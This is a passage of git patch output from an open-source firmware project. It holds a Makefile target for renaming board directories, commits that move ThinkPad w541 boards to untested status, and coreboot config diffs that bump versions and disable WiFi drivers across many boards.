.circleci/config.yml +board.move_unmaintained_to_tested: + @echo "NEW_BOARD variable will remove UNMAINTAINED_ prefix from $(BOARD)" + @NEW_BOARD=$$(echo $(BOARD) | sed 's/^UNMAINTAINED_//'); \ + echo "Renaming boards/$$BOARD/$$BOARD.config to boards/$$BOARD/$$NEW_BOARD.config"; \ + mv boards/$$BOARD/$$BOARD.config boards/$$BOARD/$$NEW_BOARD.config; \ + echo "Renaming boards/$$BOARD to boards/$$NEW_BOARD"; \ + rm -rf boards/$$NEW_BOARD; \ + mv boards/$$BOARD boards/$$NEW_BOARD; \ + echo "Replacing $$BOARD with $$NEW_BOARD in .circleci/config.yml"; \ + sed -i "s/$$BOARD/$$NEW_BOARD/g" .circleci/config.yml; \ + echo "Board $$BOARD has been moved to tested status as $$NEW_BOARD"; \ + echo "Please review and update .circleci/config.yml manually if needed" + board.move_untested_to_unmaintained: @echo "NEW_BOARD variable will move from UNTESTED_ to UNMAINTAINED_ from $(BOARD)" @NEW_BOARD=$$(echo $(BOARD) | sed 's/^UNTESTED_/UNMAINTAINED_/g'); \ diff --git a/unmaintained_boards/UNMAINTAINED_t530-hotp-maximized/UNMAINTAINED_t530-hotp-maximized.config b/boards/t530-hotp-maximized/t530-hotp-maximized.config similarity index 98% rename from unmaintained_boards/UNMAINTAINED_t530-hotp-maximized/UNMAINTAINED_t530-hotp-maximized.config rename to boards/t530-hotp-maximized/t530-hotp-maximized.config index 28262a32b..55a5b36be 100644 --- a/unmaintained_boards/UNMAINTAINED_t530-hotp-maximized/UNMAINTAINED_t530-hotp-maximized.config +++ b/boards/t530-hotp-maximized/t530-hotp-maximized.config @@ -8,7 +8,7 @@ # - Includes Nitrokey/Librem Key HOTP Security dongle remote attestation (in addition to TOTP remote attestation through Qr Code) # This board is designed for a t530 without a dGPU. It will work just fine for a board with a dGPU, except you will not be able to use an external monitor via the mini-displayport or the dock's displayport, though external monitors will work via VGA ports. To initialize the dGPU please use one of the dgpu boards. export CONFIG_COREBOOT=y -export CONFIG_COREBOOT_VERSION=4.22.01 +export CONFIG_COREBOOT_VERSION=24.02.01 export CONFIG_LINUX_VERSION=5.10.5 CONFIG_COREBOOT_CONFIG=config/coreboot-t530-maximized.config diff --git a/boards/UNMAINTAINED_t530-maximized/UNMAINTAINED_t530-maximized.config b/boards/t530-maximized/t530-maximized.config similarity index 100% rename from boards/UNMAINTAINED_t530-maximized/UNMAINTAINED_t530-maximized.config rename to boards/t530-maximized/t530-maximized.config diff --git a/config/coreboot-t530-maximized.config b/config/coreboot-t530-maximized.config index 994fa0263..b7f4c2c26 100644 --- a/config/coreboot-t530-maximized.config +++ b/config/coreboot-t530-maximized.config @@ -17,18 +17,15 @@ CONFIG_ARCH_SUPPORTS_CLANG=y # CONFIG_IWYU is not set # CONFIG_FMD_GENPARSER is not set # CONFIG_UTIL_GENPARSER is not set -# CONFIG_OPTION_BACKEND_NONE is not set -CONFIG_USE_OPTION_TABLE=y -CONFIG_STATIC_OPTION_TABLE=y +CONFIG_OPTION_BACKEND_NONE=y +# CONFIG_USE_OPTION_TABLE is not set CONFIG_COMPRESS_RAMSTAGE_LZMA=y # CONFIG_COMPRESS_RAMSTAGE_LZ4 is not set CONFIG_SEPARATE_ROMSTAGE=y CONFIG_INCLUDE_CONFIG_FILE=y CONFIG_COLLECT_TIMESTAMPS=y -# CONFIG_TIMESTAMPS_ON_CONSOLE is not set -CONFIG_USE_BLOBS=y -# CONFIG_USE_AMD_BLOBS is not set -# CONFIG_USE_QC_BLOBS is not set +CONFIG_TIMESTAMPS_ON_CONSOLE=y +# CONFIG_USE_BLOBS is not set # CONFIG_COVERAGE is not set # CONFIG_UBSAN is not set CONFIG_HAVE_ASAN_IN_RAMSTAGE=y @@ -322,7 +319,7 @@ CONFIG_NORTHBRIDGE_INTEL_SANDYBRIDGE=y # CONFIG_NATIVE_RAMINIT_IGNORE_XMP_MAX_DIMMS is not set # CONFIG_NATIVE_RAMINIT_IGNORE_XMP_REQUESTED_VOLTAGE is not set # CONFIG_RAMINIT_ALWAYS_ALLOW_DLL_OFF is not set -CONFIG_RAMINIT_ENABLE_ECC=y +# CONFIG_RAMINIT_ENABLE_ECC is not set # # Southbridge @@ -436,9 +433,7 @@ CONFIG_PCIX_PLUGIN_SUPPORT=y CONFIG_AZALIA_HDA_CODEC_SUPPORT=y CONFIG_PCIEXP_PLUGIN_SUPPORT=y CONFIG_ECAM_MMCONF_LENGTH=0x04000000 -CONFIG_PCI_ALLOW_BUS_MASTER=y -CONFIG_PCI_SET_BUS_MASTER_PCI_BRIDGES=y -CONFIG_PCI_ALLOW_BUS_MASTER_ANY_DEVICE=y +# CONFIG_PCI_ALLOW_BUS_MASTER is not set # CONFIG_PCIEXP_SUPPORT_RESIZABLE_BARS is not set # CONFIG_PCIEXP_LANE_ERR_STAT_CLEAR is not set CONFIG_PCIEXP_HOTPLUG_PREFETCH_MEM_ABOVE_4G=y @@ -593,18 +588,18 @@ CONFIG_CONSOLE_CBMEM=y # CONFIG_CONSOLE_SPI_FLASH is not set # CONFIG_CONSOLE_I2C_SMBUS is not set # CONFIG_DEFAULT_CONSOLE_LOGLEVEL_8 is not set -# CONFIG_DEFAULT_CONSOLE_LOGLEVEL_7 is not set +CONFIG_DEFAULT_CONSOLE_LOGLEVEL_7=y # CONFIG_DEFAULT_CONSOLE_LOGLEVEL_6 is not set -CONFIG_DEFAULT_CONSOLE_LOGLEVEL_5=y +# CONFIG_DEFAULT_CONSOLE_LOGLEVEL_5 is not set # CONFIG_DEFAULT_CONSOLE_LOGLEVEL_4 is not set # CONFIG_DEFAULT_CONSOLE_LOGLEVEL_3 is not set # CONFIG_DEFAULT_CONSOLE_LOGLEVEL_2 is not set # CONFIG_DEFAULT_CONSOLE_LOGLEVEL_1 is not set # CONFIG_DEFAULT_CONSOLE_LOGLEVEL_0 is not set -CONFIG_DEFAULT_CONSOLE_LOGLEVEL=5 +CONFIG_DEFAULT_CONSOLE_LOGLEVEL=7 CONFIG_CONSOLE_USE_LOGLEVEL_PREFIX=y CONFIG_CONSOLE_USE_ANSI_ESCAPES=y -CONFIG_HWBASE_DEBUG_NULL=y +CONFIG_HWBASE_DEBUG_CB=y # end of Console CONFIG_HAVE_ACPI_RESUME=y @@ -683,6 +678,7 @@ CONFIG_HAVE_DEBUG_RAM_SETUP=y # CONFIG_DEBUG_RAM_SETUP is not set CONFIG_HAVE_DEBUG_SMBUS=y # CONFIG_DEBUG_SMBUS is not set +# CONFIG_DEBUG_MALLOC is not set # CONFIG_DEBUG_CONSOLE_INIT is not set # CONFIG_DEBUG_SPI_FLASH is not set # CONFIG_DEBUG_BOOT_STATE is not set From 1b6d26a888614adb7917d0a2191cc319d92daf18 Mon Sep 17 00:00:00 2001 From: Thierry Laurion Date: Fri, 26 Jul 2024 15:45:26 -0400 Subject: [PATCH 184/619] w541: rename/move board flavors to UNTESTED since untested for coreboot 24.02.01 version bumped and no news from expected board testers in time for merge Replication notes: - w541-hotp-maximized is a makefile inclusion of w541-maximized so order of ops is important docker run -e DISPLAY=$DISPLAY --network host --rm -ti -v $(pwd):$(pwd) -w $(pwd) tlaurion/heads-dev-env:v0.2.1 -- make -d BOARD=w541-hotp-maximized board.move_tested_to_untested time docker run -e DISPLAY=$DISPLAY --network host --rm -ti -v $(pwd):$(pwd) -w $(pwd) tlaurion/heads-dev-env:v0.2.1 -- make -d BOARD=w541-maximized board.move_tested_to_untested git status git add boards/UNTESTED_w541-hotp-maximized/UNTESTED_w541-hotp-maximized.config boards/UNTESTED_w541-maximized/UNTESTED_w541-maximized.config boards/w541-hotp-maximized/w541-hotp-maximized.config boards/w541-maximized/w541-maximized.config .circleci/config.yml git commit --signoff Signed-off-by: Thierry Laurion --- .circleci/config.yml | 8 ++++---- .../UNTESTED_w541-hotp-maximized.config} | 0 .../UNTESTED_w541-maximized.config} | 0 3 files changed, 4 insertions(+), 4 deletions(-) rename boards/{w541-hotp-maximized/w541-hotp-maximized.config => UNTESTED_w541-hotp-maximized/UNTESTED_w541-hotp-maximized.config} (100%) rename boards/{w541-maximized/w541-maximized.config => UNTESTED_w541-maximized/UNTESTED_w541-maximized.config} (100%) diff --git a/.circleci/config.yml b/.circleci/config.yml index e30f374a4..ef24aee37 100644 --- a/.circleci/config.yml +++ b/.circleci/config.yml @@ -413,15 +413,15 @@ workflows: - x230-hotp-maximized - build: - name: w541-maximized - target: w541-maximized + name: UNTESTED_w541-maximized + target: UNTESTED_w541-maximized subcommand: "" requires: - x230-hotp-maximized - build: - name: w541-hotp-maximized - target: w541-hotp-maximized + name: UNTESTED_w541-hotp-maximized + target: UNTESTED_w541-hotp-maximized subcommand: "" requires: - x230-hotp-maximized diff --git a/boards/w541-hotp-maximized/w541-hotp-maximized.config b/boards/UNTESTED_w541-hotp-maximized/UNTESTED_w541-hotp-maximized.config similarity index 100% rename from boards/w541-hotp-maximized/w541-hotp-maximized.config rename to boards/UNTESTED_w541-hotp-maximized/UNTESTED_w541-hotp-maximized.config diff --git a/boards/w541-maximized/w541-maximized.config b/boards/UNTESTED_w541-maximized/UNTESTED_w541-maximized.config similarity index 100% rename from boards/w541-maximized/w541-maximized.config rename to boards/UNTESTED_w541-maximized/UNTESTED_w541-maximized.config From d0b0eef84427aaa782951a99d7413b420dc481c9 Mon Sep 17 00:00:00 2001 From: Thierry Laurion Date: Fri, 26 Jul 2024 16:51:31 -0400 Subject: [PATCH 185/619] boards/UNTESTED_w541-hotp-maximized/UNTESTED_w541-hotp-maximized.config: Path is hardcoded to non hotp variant inclusion... Signed-off-by: Thierry Laurion --- .../UNTESTED_w541-hotp-maximized.config | 2 +- 1 file changed, 1 insertion(+), 1 deletion(-) diff --git a/boards/UNTESTED_w541-hotp-maximized/UNTESTED_w541-hotp-maximized.config b/boards/UNTESTED_w541-hotp-maximized/UNTESTED_w541-hotp-maximized.config index 204f12525..585ecd73b 100644 --- a/boards/UNTESTED_w541-hotp-maximized/UNTESTED_w541-hotp-maximized.config +++ b/boards/UNTESTED_w541-hotp-maximized/UNTESTED_w541-hotp-maximized.config @@ -1,5 +1,5 @@ # Inherit the rest from the base W541 config. -include $(pwd)/boards/w541-maximized/w541-maximized.config +include $(pwd)/boards/UNTESTED_w541-maximized/UNTESTED_w541-maximized.config CONFIG_HOTPKEY=y export CONFIG_AUTO_BOOT_TIMEOUT=5 From a9e6dfe851db9101496328f8963391dea77fb987 Mon Sep 17 00:00:00 2001 From: Thierry Laurion Date: Fri, 26 Jul 2024 17:39:18 -0400 Subject: [PATCH 186/619] config/coreboot-*: Turn off WIFI support in coreboot. If regression, will turn on case by case. Signed-off-by: Thierry Laurion --- config/coreboot-kgpe-d16_server-whiptail.config | 5 ++--- config/coreboot-kgpe-d16_server.config | 5 ++--- config/coreboot-kgpe-d16_workstation-usb_keyboard.config | 5 ++--- config/coreboot-kgpe-d16_workstation.config | 5 ++--- config/coreboot-librem_11.config | 5 ++--- config/coreboot-librem_13v2.config | 5 ++--- config/coreboot-librem_13v4.config | 5 ++--- config/coreboot-librem_14.config | 5 ++--- config/coreboot-librem_15v3.config | 5 ++--- config/coreboot-librem_15v4.config | 5 ++--- config/coreboot-librem_l1um.config | 5 ++--- config/coreboot-librem_l1um_v2.config | 5 ++--- config/coreboot-librem_mini.config | 5 ++--- config/coreboot-librem_mini_v2.config | 5 ++--- config/coreboot-nitropad-ns50.config | 3 +-- config/coreboot-nitropad-nv41.config | 3 +-- config/coreboot-p8z77-m_pro-tpm1.config | 4 ++-- config/coreboot-qemu-tpm1.config | 5 ++--- config/coreboot-qemu-tpm2.config | 5 ++--- config/coreboot-t420-maximized.config | 5 ++--- config/coreboot-t420.config | 4 ++-- config/coreboot-t430-legacy.config | 4 ++-- config/coreboot-t430-maximized.config | 5 ++--- config/coreboot-t440p.config | 5 ++--- config/coreboot-t520-maximized.config | 4 ++-- config/coreboot-t530-dgpu-maximized.config | 4 ++-- config/coreboot-t530-maximized.config | 5 ++--- config/coreboot-w530-dgpu-K1000m-maximized.config | 4 ++-- config/coreboot-w530-dgpu-K2000m-maximized.config | 4 ++-- config/coreboot-w530-maximized.config | 5 ++--- config/coreboot-w541.config | 5 ++--- config/coreboot-x220-maximized.config | 5 ++--- config/coreboot-x220.config | 4 ++-- config/coreboot-x230-legacy-flash.config | 5 ++--- config/coreboot-x230-legacy.config | 5 ++--- config/coreboot-x230-maximized-fhd_edp.config | 5 ++--- config/coreboot-x230-maximized.config | 5 ++--- config/coreboot-z220-cmt.config | 5 ++--- 38 files changed, 74 insertions(+), 104 deletions(-) diff --git a/config/coreboot-kgpe-d16_server-whiptail.config b/config/coreboot-kgpe-d16_server-whiptail.config index 91973ac1a..4c74a4c97 100644 --- a/config/coreboot-kgpe-d16_server-whiptail.config +++ b/config/coreboot-kgpe-d16_server-whiptail.config @@ -152,7 +152,7 @@ CONFIG_POST_DEVICE=y CONFIG_SPI_FLASH_INCLUDE_ALL_DRIVERS=y CONFIG_SPI_FLASH_WINBOND=y CONFIG_TPM_INIT=y -CONFIG_DRIVERS_INTEL_WIFI=y +# CONFIG_DRIVERS_INTEL_WIFI is not set CONFIG_DRIVERS_UART_8250IO=y CONFIG_DIMM_MAX=4 CONFIG_TPM_PIRQ=0x0 @@ -484,8 +484,7 @@ CONFIG_DRIVERS_UART=y CONFIG_HAVE_USBDEBUG=y CONFIG_HAVE_USBDEBUG_OPTIONS=y # CONFIG_VPD is not set -CONFIG_DRIVERS_GENERIC_WIFI=y -# CONFIG_USE_SAR is not set +# CONFIG_DRIVERS_GENERIC_WIFI is not set # CONFIG_DRIVERS_AMD_PI is not set CONFIG_DRIVERS_ASPEED_AST2050=y CONFIG_DRIVERS_ASPEED_AST_COMMON=y diff --git a/config/coreboot-kgpe-d16_server.config b/config/coreboot-kgpe-d16_server.config index 29e39dd14..b030ab687 100644 --- a/config/coreboot-kgpe-d16_server.config +++ b/config/coreboot-kgpe-d16_server.config @@ -152,7 +152,7 @@ CONFIG_POST_DEVICE=y CONFIG_SPI_FLASH_INCLUDE_ALL_DRIVERS=y CONFIG_SPI_FLASH_WINBOND=y CONFIG_TPM_INIT=y -CONFIG_DRIVERS_INTEL_WIFI=y +# CONFIG_DRIVERS_INTEL_WIFI is not set CONFIG_DRIVERS_UART_8250IO=y CONFIG_DIMM_MAX=4 CONFIG_TPM_PIRQ=0x0 @@ -484,8 +484,7 @@ CONFIG_DRIVERS_UART=y CONFIG_HAVE_USBDEBUG=y CONFIG_HAVE_USBDEBUG_OPTIONS=y # CONFIG_VPD is not set -CONFIG_DRIVERS_GENERIC_WIFI=y -# CONFIG_USE_SAR is not set +# CONFIG_DRIVERS_GENERIC_WIFI is not set # CONFIG_DRIVERS_AMD_PI is not set CONFIG_DRIVERS_ASPEED_AST2050=y CONFIG_DRIVERS_ASPEED_AST_COMMON=y diff --git a/config/coreboot-kgpe-d16_workstation-usb_keyboard.config b/config/coreboot-kgpe-d16_workstation-usb_keyboard.config index 91973ac1a..4c74a4c97 100644 --- a/config/coreboot-kgpe-d16_workstation-usb_keyboard.config +++ b/config/coreboot-kgpe-d16_workstation-usb_keyboard.config @@ -152,7 +152,7 @@ CONFIG_POST_DEVICE=y CONFIG_SPI_FLASH_INCLUDE_ALL_DRIVERS=y CONFIG_SPI_FLASH_WINBOND=y CONFIG_TPM_INIT=y -CONFIG_DRIVERS_INTEL_WIFI=y +# CONFIG_DRIVERS_INTEL_WIFI is not set CONFIG_DRIVERS_UART_8250IO=y CONFIG_DIMM_MAX=4 CONFIG_TPM_PIRQ=0x0 @@ -484,8 +484,7 @@ CONFIG_DRIVERS_UART=y CONFIG_HAVE_USBDEBUG=y CONFIG_HAVE_USBDEBUG_OPTIONS=y # CONFIG_VPD is not set -CONFIG_DRIVERS_GENERIC_WIFI=y -# CONFIG_USE_SAR is not set +# CONFIG_DRIVERS_GENERIC_WIFI is not set # CONFIG_DRIVERS_AMD_PI is not set CONFIG_DRIVERS_ASPEED_AST2050=y CONFIG_DRIVERS_ASPEED_AST_COMMON=y diff --git a/config/coreboot-kgpe-d16_workstation.config b/config/coreboot-kgpe-d16_workstation.config index 91973ac1a..4c74a4c97 100644 --- a/config/coreboot-kgpe-d16_workstation.config +++ b/config/coreboot-kgpe-d16_workstation.config @@ -152,7 +152,7 @@ CONFIG_POST_DEVICE=y CONFIG_SPI_FLASH_INCLUDE_ALL_DRIVERS=y CONFIG_SPI_FLASH_WINBOND=y CONFIG_TPM_INIT=y -CONFIG_DRIVERS_INTEL_WIFI=y +# CONFIG_DRIVERS_INTEL_WIFI is not set CONFIG_DRIVERS_UART_8250IO=y CONFIG_DIMM_MAX=4 CONFIG_TPM_PIRQ=0x0 @@ -484,8 +484,7 @@ CONFIG_DRIVERS_UART=y CONFIG_HAVE_USBDEBUG=y CONFIG_HAVE_USBDEBUG_OPTIONS=y # CONFIG_VPD is not set -CONFIG_DRIVERS_GENERIC_WIFI=y -# CONFIG_USE_SAR is not set +# CONFIG_DRIVERS_GENERIC_WIFI is not set # CONFIG_DRIVERS_AMD_PI is not set CONFIG_DRIVERS_ASPEED_AST2050=y CONFIG_DRIVERS_ASPEED_AST_COMMON=y diff --git a/config/coreboot-librem_11.config b/config/coreboot-librem_11.config index 997bcfdc4..573baee64 100644 --- a/config/coreboot-librem_11.config +++ b/config/coreboot-librem_11.config @@ -140,7 +140,7 @@ CONFIG_DCACHE_BSP_STACK_SIZE=0x30400 CONFIG_MAX_ACPI_TABLE_SIZE_KB=144 CONFIG_HAVE_INTEL_FIRMWARE=y CONFIG_MRC_SETTINGS_CACHE_SIZE=0x10000 -CONFIG_DRIVERS_INTEL_WIFI=y +# CONFIG_DRIVERS_INTEL_WIFI is not set CONFIG_IFD_BIN_PATH="3rdparty/purism-blobs/mainboard/purism/librem_jsl/librem_11/flashdescriptor.bin" CONFIG_ME_BIN_PATH="3rdparty/purism-blobs/mainboard/purism/librem_jsl/librem_11/me.bin" CONFIG_CONSOLE_CBMEM_BUFFER_SIZE=0x20000 @@ -563,8 +563,7 @@ CONFIG_USE_PC_CMOS_ALTCENTURY=y CONFIG_PC_CMOS_BASE_PORT_BANK0=0x70 # CONFIG_DRIVERS_SIL_3114 is not set CONFIG_DRIVERS_USB_ACPI=y -CONFIG_DRIVERS_WIFI_GENERIC=y -CONFIG_DRIVERS_MTK_WIFI=y +# CONFIG_DRIVERS_MTK_WIFI is not set CONFIG_MP_SERVICES_PPI=y CONFIG_MP_SERVICES_PPI_V1=y # end of Generic Drivers diff --git a/config/coreboot-librem_13v2.config b/config/coreboot-librem_13v2.config index 57aeb2933..001115ac8 100644 --- a/config/coreboot-librem_13v2.config +++ b/config/coreboot-librem_13v2.config @@ -146,7 +146,7 @@ CONFIG_DCACHE_BSP_STACK_SIZE=0x4000 CONFIG_MAX_ACPI_TABLE_SIZE_KB=144 CONFIG_HAVE_INTEL_FIRMWARE=y CONFIG_MRC_SETTINGS_CACHE_SIZE=0x10000 -CONFIG_DRIVERS_INTEL_WIFI=y +# CONFIG_DRIVERS_INTEL_WIFI is not set CONFIG_IFD_BIN_PATH="3rdparty/purism-blobs/mainboard/purism/librem_skl/descriptor.bin" CONFIG_ME_BIN_PATH="3rdparty/purism-blobs/mainboard/purism/librem_skl/me.bin" CONFIG_MAINBOARD_SUPPORTS_SKYLAKE_CPU=y @@ -594,8 +594,7 @@ CONFIG_PC_CMOS_BASE_PORT_BANK0=0x70 CONFIG_MEMORY_MAPPED_TPM=y CONFIG_TPM_TIS_BASE_ADDRESS=0xfed40000 # CONFIG_DRIVERS_SIL_3114 is not set -CONFIG_DRIVERS_WIFI_GENERIC=y -CONFIG_DRIVERS_MTK_WIFI=y +# CONFIG_DRIVERS_MTK_WIFI is not set # end of Generic Drivers # diff --git a/config/coreboot-librem_13v4.config b/config/coreboot-librem_13v4.config index d6d2da24a..9eb08a478 100644 --- a/config/coreboot-librem_13v4.config +++ b/config/coreboot-librem_13v4.config @@ -146,7 +146,7 @@ CONFIG_DCACHE_BSP_STACK_SIZE=0x4000 CONFIG_MAX_ACPI_TABLE_SIZE_KB=144 CONFIG_HAVE_INTEL_FIRMWARE=y CONFIG_MRC_SETTINGS_CACHE_SIZE=0x10000 -CONFIG_DRIVERS_INTEL_WIFI=y +# CONFIG_DRIVERS_INTEL_WIFI is not set CONFIG_IFD_BIN_PATH="3rdparty/purism-blobs/mainboard/purism/librem_kbl/descriptor.bin" CONFIG_ME_BIN_PATH="3rdparty/purism-blobs/mainboard/purism/librem_kbl/me.bin" CONFIG_MAINBOARD_SUPPORTS_SKYLAKE_CPU=y @@ -594,8 +594,7 @@ CONFIG_PC_CMOS_BASE_PORT_BANK0=0x70 CONFIG_MEMORY_MAPPED_TPM=y CONFIG_TPM_TIS_BASE_ADDRESS=0xfed40000 # CONFIG_DRIVERS_SIL_3114 is not set -CONFIG_DRIVERS_WIFI_GENERIC=y -CONFIG_DRIVERS_MTK_WIFI=y +# CONFIG_DRIVERS_MTK_WIFI is not set # end of Generic Drivers # diff --git a/config/coreboot-librem_14.config b/config/coreboot-librem_14.config index 822a18e1a..4bdcee327 100644 --- a/config/coreboot-librem_14.config +++ b/config/coreboot-librem_14.config @@ -145,7 +145,7 @@ CONFIG_DCACHE_BSP_STACK_SIZE=0x20400 CONFIG_MAX_ACPI_TABLE_SIZE_KB=144 CONFIG_HAVE_INTEL_FIRMWARE=y CONFIG_MRC_SETTINGS_CACHE_SIZE=0x10000 -CONFIG_DRIVERS_INTEL_WIFI=y +# CONFIG_DRIVERS_INTEL_WIFI is not set CONFIG_IFD_BIN_PATH="3rdparty/purism-blobs/mainboard/purism/librem_cnl/librem_14/flashdescriptor.bin" CONFIG_ME_BIN_PATH="3rdparty/purism-blobs/mainboard/purism/librem_cnl/librem_14/me.bin" CONFIG_CONSOLE_CBMEM_BUFFER_SIZE=0x20000 @@ -600,8 +600,7 @@ CONFIG_MEMORY_MAPPED_TPM=y CONFIG_TPM_TIS_BASE_ADDRESS=0xfed40000 # CONFIG_DRIVERS_SIL_3114 is not set CONFIG_DRIVERS_USB_ACPI=y -CONFIG_DRIVERS_WIFI_GENERIC=y -CONFIG_DRIVERS_MTK_WIFI=y +# CONFIG_DRIVERS_MTK_WIFI is not set # end of Generic Drivers # diff --git a/config/coreboot-librem_15v3.config b/config/coreboot-librem_15v3.config index 9c14eb272..012f3742d 100644 --- a/config/coreboot-librem_15v3.config +++ b/config/coreboot-librem_15v3.config @@ -146,7 +146,7 @@ CONFIG_DCACHE_BSP_STACK_SIZE=0x4000 CONFIG_MAX_ACPI_TABLE_SIZE_KB=144 CONFIG_HAVE_INTEL_FIRMWARE=y CONFIG_MRC_SETTINGS_CACHE_SIZE=0x10000 -CONFIG_DRIVERS_INTEL_WIFI=y +# CONFIG_DRIVERS_INTEL_WIFI is not set CONFIG_IFD_BIN_PATH="3rdparty/purism-blobs/mainboard/purism/librem_skl/descriptor.bin" CONFIG_ME_BIN_PATH="3rdparty/purism-blobs/mainboard/purism/librem_skl/me.bin" CONFIG_MAINBOARD_SUPPORTS_SKYLAKE_CPU=y @@ -594,8 +594,7 @@ CONFIG_PC_CMOS_BASE_PORT_BANK0=0x70 CONFIG_MEMORY_MAPPED_TPM=y CONFIG_TPM_TIS_BASE_ADDRESS=0xfed40000 # CONFIG_DRIVERS_SIL_3114 is not set -CONFIG_DRIVERS_WIFI_GENERIC=y -CONFIG_DRIVERS_MTK_WIFI=y +# CONFIG_DRIVERS_MTK_WIFI is not set # end of Generic Drivers # diff --git a/config/coreboot-librem_15v4.config b/config/coreboot-librem_15v4.config index 474f3feba..998fe2790 100644 --- a/config/coreboot-librem_15v4.config +++ b/config/coreboot-librem_15v4.config @@ -146,7 +146,7 @@ CONFIG_DCACHE_BSP_STACK_SIZE=0x4000 CONFIG_MAX_ACPI_TABLE_SIZE_KB=144 CONFIG_HAVE_INTEL_FIRMWARE=y CONFIG_MRC_SETTINGS_CACHE_SIZE=0x10000 -CONFIG_DRIVERS_INTEL_WIFI=y +# CONFIG_DRIVERS_INTEL_WIFI is not set CONFIG_IFD_BIN_PATH="3rdparty/purism-blobs/mainboard/purism/librem_kbl/descriptor.bin" CONFIG_ME_BIN_PATH="3rdparty/purism-blobs/mainboard/purism/librem_kbl/me.bin" CONFIG_MAINBOARD_SUPPORTS_SKYLAKE_CPU=y @@ -594,8 +594,7 @@ CONFIG_PC_CMOS_BASE_PORT_BANK0=0x70 CONFIG_MEMORY_MAPPED_TPM=y CONFIG_TPM_TIS_BASE_ADDRESS=0xfed40000 # CONFIG_DRIVERS_SIL_3114 is not set -CONFIG_DRIVERS_WIFI_GENERIC=y -CONFIG_DRIVERS_MTK_WIFI=y +# CONFIG_DRIVERS_MTK_WIFI is not set # end of Generic Drivers # diff --git a/config/coreboot-librem_l1um.config b/config/coreboot-librem_l1um.config index 3a1fe7b44..3f46ca63c 100644 --- a/config/coreboot-librem_l1um.config +++ b/config/coreboot-librem_l1um.config @@ -118,7 +118,7 @@ CONFIG_FSP_LOC=0xffeb0000 CONFIG_SPI_FLASH_INCLUDE_ALL_DRIVERS=y CONFIG_SPI_FLASH_WINBOND=y CONFIG_TPM_INIT=y -CONFIG_DRIVERS_INTEL_WIFI=y +# CONFIG_DRIVERS_INTEL_WIFI is not set CONFIG_DRIVERS_UART_8250IO=y CONFIG_DIMM_MAX=4 CONFIG_TPM_PIRQ=0x0 @@ -489,8 +489,7 @@ CONFIG_DRIVERS_UART=y # CONFIG_HAVE_USBDEBUG is not set # CONFIG_HAVE_USBDEBUG_OPTIONS is not set # CONFIG_VPD is not set -CONFIG_DRIVERS_GENERIC_WIFI=y -# CONFIG_USE_SAR is not set +# CONFIG_DRIVERS_GENERIC_WIFI is not set # CONFIG_DRIVERS_AMD_PI is not set CONFIG_DRIVERS_GENERIC_CBFS_SERIAL=y # CONFIG_DRIVERS_I2C_MAX98373 is not set diff --git a/config/coreboot-librem_l1um_v2.config b/config/coreboot-librem_l1um_v2.config index 322a14362..aa599988b 100644 --- a/config/coreboot-librem_l1um_v2.config +++ b/config/coreboot-librem_l1um_v2.config @@ -143,7 +143,7 @@ CONFIG_DCACHE_BSP_STACK_SIZE=0x20400 CONFIG_MAX_ACPI_TABLE_SIZE_KB=144 CONFIG_HAVE_INTEL_FIRMWARE=y CONFIG_MRC_SETTINGS_CACHE_SIZE=0x10000 -CONFIG_DRIVERS_INTEL_WIFI=y +# CONFIG_DRIVERS_INTEL_WIFI is not set CONFIG_IFD_BIN_PATH="3rdparty/purism-blobs/mainboard/purism/librem_l1um_v2/flashdescriptor.bin" CONFIG_ME_BIN_PATH="3rdparty/purism-blobs/mainboard/purism/librem_l1um_v2/me.bin" CONFIG_CONSOLE_CBMEM_BUFFER_SIZE=0x20000 @@ -587,8 +587,7 @@ CONFIG_MEMORY_MAPPED_TPM=y CONFIG_TPM_TIS_BASE_ADDRESS=0xfed40000 # CONFIG_DRIVERS_SIL_3114 is not set CONFIG_DRIVERS_USB_ACPI=y -CONFIG_DRIVERS_WIFI_GENERIC=y -CONFIG_DRIVERS_MTK_WIFI=y +# CONFIG_DRIVERS_MTK_WIFI is not set # end of Generic Drivers # diff --git a/config/coreboot-librem_mini.config b/config/coreboot-librem_mini.config index e85774488..82f908104 100644 --- a/config/coreboot-librem_mini.config +++ b/config/coreboot-librem_mini.config @@ -148,7 +148,7 @@ CONFIG_DCACHE_BSP_STACK_SIZE=0x20400 CONFIG_MAX_ACPI_TABLE_SIZE_KB=144 CONFIG_HAVE_INTEL_FIRMWARE=y CONFIG_MRC_SETTINGS_CACHE_SIZE=0x10000 -CONFIG_DRIVERS_INTEL_WIFI=y +# CONFIG_DRIVERS_INTEL_WIFI is not set CONFIG_IFD_BIN_PATH="3rdparty/purism-blobs/mainboard/purism/librem_cnl/mini/flashdescriptor.bin" CONFIG_ME_BIN_PATH="3rdparty/purism-blobs/mainboard/purism/librem_cnl/mini/me.bin" CONFIG_CONSOLE_CBMEM_BUFFER_SIZE=0x20000 @@ -593,8 +593,7 @@ CONFIG_DRIVERS_MC146818=y CONFIG_PC_CMOS_BASE_PORT_BANK0=0x70 # CONFIG_DRIVERS_SIL_3114 is not set CONFIG_DRIVERS_USB_ACPI=y -CONFIG_DRIVERS_WIFI_GENERIC=y -CONFIG_DRIVERS_MTK_WIFI=y +# CONFIG_DRIVERS_MTK_WIFI is not set # end of Generic Drivers # diff --git a/config/coreboot-librem_mini_v2.config b/config/coreboot-librem_mini_v2.config index a0ff80790..02d16d24c 100644 --- a/config/coreboot-librem_mini_v2.config +++ b/config/coreboot-librem_mini_v2.config @@ -148,7 +148,7 @@ CONFIG_DCACHE_BSP_STACK_SIZE=0x20400 CONFIG_MAX_ACPI_TABLE_SIZE_KB=144 CONFIG_HAVE_INTEL_FIRMWARE=y CONFIG_MRC_SETTINGS_CACHE_SIZE=0x10000 -CONFIG_DRIVERS_INTEL_WIFI=y +# CONFIG_DRIVERS_INTEL_WIFI is not set CONFIG_IFD_BIN_PATH="3rdparty/purism-blobs/mainboard/purism/librem_cnl/mini_v2/flashdescriptor.bin" CONFIG_ME_BIN_PATH="3rdparty/purism-blobs/mainboard/purism/librem_cnl/mini_v2/me.bin" CONFIG_CONSOLE_CBMEM_BUFFER_SIZE=0x20000 @@ -600,8 +600,7 @@ CONFIG_DRIVERS_MC146818=y CONFIG_PC_CMOS_BASE_PORT_BANK0=0x70 # CONFIG_DRIVERS_SIL_3114 is not set CONFIG_DRIVERS_USB_ACPI=y -CONFIG_DRIVERS_WIFI_GENERIC=y -CONFIG_DRIVERS_MTK_WIFI=y +# CONFIG_DRIVERS_MTK_WIFI is not set # end of Generic Drivers # diff --git a/config/coreboot-nitropad-ns50.config 